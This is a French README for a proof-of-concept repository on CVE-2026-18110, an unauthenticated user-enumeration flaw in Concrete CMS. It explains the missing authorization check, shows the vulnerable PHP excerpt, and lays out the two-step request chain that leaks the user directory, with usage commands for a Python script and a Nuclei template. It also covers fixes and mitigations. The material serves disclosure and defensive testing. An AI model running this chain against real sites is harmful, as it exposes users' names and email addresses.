
PoC Python et template Nuclei exploitant CVE-2026-18110, une faille d'énumération d'utilisateurs non authentifiée dans Concrete CMS 9.0.0-9.5.2 via le point de terminaison d'autocomplétion des utilisateurs.
Concrete CMS 9.0.0 à 9.5.2 n'effectue aucun contrôle d'autorisation sur le point de terminaison d'autocomplétion du sélecteur d'utilisateurs (/ccm/system/user/autocomplete), qui alimente le panneau « Preview as User » et d'autres composants de sélection d'utilisateurs. Cela permet à un attaquant distant non authentifié d'énumérer l'intégralité de l'annuaire interne des utilisateurs — y compris les identifiants utilisateur, les noms d'utilisateur et les adresses e-mail — sans aucune session ni identifiant valide.
La vulnérabilité est un cas classique de jeton CSRF utilisé (à tort) comme contrôle d'autorisation : le jeton prouve l'intégrité de la requête mais ne répond jamais à la véritable question de sécurité, à savoir si l'appelant est autorisé à interroger la liste des utilisateurs.
| Produit | Affectées | Corrigée |
|---|---|---|
| Concrete CMS | 9.0.0 – 9.5.2 | 9.5.3 |
Le panneau Preview As User est enregistré dans concrete/routes/panels.php sous le chemin de base /ccm/system/panels :
GET /ccm/system/panels/page/preview_as_user
Son contrôleur (concrete/controllers/panel/page/preview_as_user.php) appelle UserSelector::quickSelect() pour rendre un composant Vue <concrete-user-select>. Contrairement à sa méthode sœur selectUser(), qui contrôle correctement l'accès via canAccessUserSearch(), quickSelect() n'effectue aucun contrôle de permission avant de générer et d'intégrer un jeton :
// concrete/src/Form/Service/Widget/UserSelector.php (vulnerable — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
$userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
// No permission check here — token is rendered unconditionally
$html = <<<EOL
<concrete-user-select
access-token="{$userSelectInstance->getAccessToken()}"
label-format="{$labelFormat}"
:include-avatar="{$includeAvatar}"
...
EOL;
return $html;
}
La réponse HTML générée côté serveur expose donc un access-token valide à tout visiteur — y compris non authentifié — capable d'atteindre cette route.
La valeur de access-token a le format suivant :
{unix_timestamp}:{md5_hash}
Où le hachage est calculé côté serveur comme suit :
md5( timestamp : userID : action : pepper )
timestamp — l'heure UNIX au moment de la génération, envoyée en clair comme préfixe du jeton.userID — l'identifiant utilisateur du demandeur au moment de la génération ; 0 pour les visiteurs non authentifiés.action — la chaîne user_select:format:{labelFormat}:avatar:{includeAvatar}, où les deux valeurs sont fournies par l'attaquant via les paramètres de requête.pepper — un secret aléatoire de 64 caractères généré une seule fois lors de l'installation et stocké dans application/config/generated_overrides/concrete.php.Les jetons sont valides pendant 24 heures et sont entièrement rejouables durant cette fenêtre — aucune application à usage unique/nonce n'est en place. Il n'existe pas non plus de contrôle de borne inférieure sur l'horodatage, ce qui rend la vérification de fraîcheur unilatérale.
1. GET /ccm/system/panels/page/preview_as_user
↓
Server responds with HTML containing:
<concrete-user-select
access-token="1738012345:a1b2c3d4e5f6..."
label-format="auto"
:include-avatar="true"
...>
2. POST /ccm/system/user/autocomplete
Body: accessToken=1738012345:a1b2c3d4e5f6...
&labelFormat=auto
&includeAvatar=true
&query=a
↓
Server responds with full user list:
[
{"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
{"id": 6, "primary_label": "m.rossi", "secondary_label": "[email protected]"},
...
]
L'appel checkAccess() à l'intérieur de view() recalcule le hachage en utilisant l'uID de la requête courante (0 pour les invités) — ce qui correspond parfaitement puisque le jeton a également été généré avec uID=0. La vérification passe, et l'intégralité de l'annuaire des utilisateurs est renvoyée.
Le contrôle canAccess() / checkAccess() sur le point de terminaison d'autocomplétion valide l'intégrité du jeton (non falsifié, non expiré) mais ne valide jamais l'autorisation (cet appelant est-il autorisé à rechercher des utilisateurs ?). La validité d'un jeton CSRF ne remplace pas un contrôle d'autorisation. Comparé à getSelectedUsers() dans le même contrôleur, qui appelle correctement Checker::canViewUser() pour chaque résultat, view() n'a pas de contrôle équivalent.
Un script Python + un template de détection Nuclei sont inclus dans ce dépôt. Le script Python ne peut être utilisé que contre une seule URL. Si vous souhaitez tester plusieurs cibles simultanément, utilisez plutôt nuclei. Les deux automatisent la chaîne en deux étapes décrite ci-dessus et détectent la présence de données utilisateur confirmées dans la réponse de l'étape 2.
python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com
Destiné à une utilisation uniquement contre des systèmes que vous êtes autorisé à tester.
Mettez à niveau vers Concrete CMS 9.5.3 ou une version ultérieure. Le correctif introduit un contrôle d'autorisation au stade de l'émission du jeton (quickSelect()) cohérent avec le contrôle canAccessUserSearch() déjà présent dans selectUser(), et ajoute un contrôle de permission équivalent à l'intérieur de view() du contrôleur d'autocomplétion, reproduisant le modèle Checker::canViewUser() déjà correctement utilisé par getSelectedUsers().
Si une mise à niveau immédiate n'est pas possible, envisagez de bloquer l'accès non authentifié à /ccm/system/panels/ au niveau du serveur web ou du WAF comme mesure d'atténuation temporaire.
Ce dépôt est publié à des fins éducatives et de sécurité défensive. Tous les tests ont été effectués contre des systèmes sous autorisation explicite. Les auteurs ne sont pas responsables de toute utilisation abusive des informations ou des outils contenus dans ce document.